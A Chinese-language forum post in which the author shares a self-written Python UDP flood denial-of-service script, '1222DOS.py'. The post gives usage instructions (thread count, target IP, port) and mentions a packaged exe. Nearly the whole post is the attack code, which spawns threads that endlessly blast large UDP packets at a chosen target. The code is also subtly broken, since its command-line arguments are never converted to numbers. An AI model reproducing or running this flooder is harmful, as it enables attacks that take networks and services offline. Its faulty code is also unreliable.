程序积累的第一天
本程序自主研发。
源码(python3.7)
- """
- 2022/12/22
- 1222DOS.py
- 本程序纯原创,如有缺点尽管提出,感谢你的支持。 -Shaiden
- 基于UDP的Dos 纯属无脑冲
- 没有实验过,不知道具体效果,但是内网带宽确实占满了
- 食用教程:在同目录下打开cmd 输入 python3 1222DOS.py 线程数 目标ip 端口
- 由于线程较多,关闭时需要多摁几下Ctrl+c或者直接关闭界面。
- """
- import socket
- import threading
- import sys
- import ctypes
- now=0
- class Dos(object):
- def __init__(self,con,ip,port):
- self.arg = (con, ip, port,)
- self.t=threading.Thread
- self.s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # 实例化一个UDP socket
- def dos(self): #con是攻击次数 ip是攻击目标
- global now
- dataAddress = (self.arg[1],self.arg[2]) #目标组
- sendDate='AWOCa'*10240 #发送的数据
- try:
- while 1:#随机本机IP
- self.s.sendto(sendDate.encode('Utf-8'),dataAddress) #发送
- now+=1
- # print(1)
- except:
- return
- def run(self):
- for x in range(self.arg[0]):
- self.t(target=self.dos).start()
- while True:print(f'Send {now} packet.')
- if __name__ == '__main__':
- try:
- shaiden=Dos(sys.argv[1],sys.argv[2],sys.argv[3])
- shaiden.run()
- except:
- ctypes.windll.user32.MessageBoxW(0,'请在同目录下打开cmd 输入 "python3 1222DOS.py 线程数 目标ip 端口"来运行程序', '提示', 1)
复制代码
已经打包完成的exe
本程序纯原创,如有缺点尽管提出,感谢你的支持。 -Shaiden
|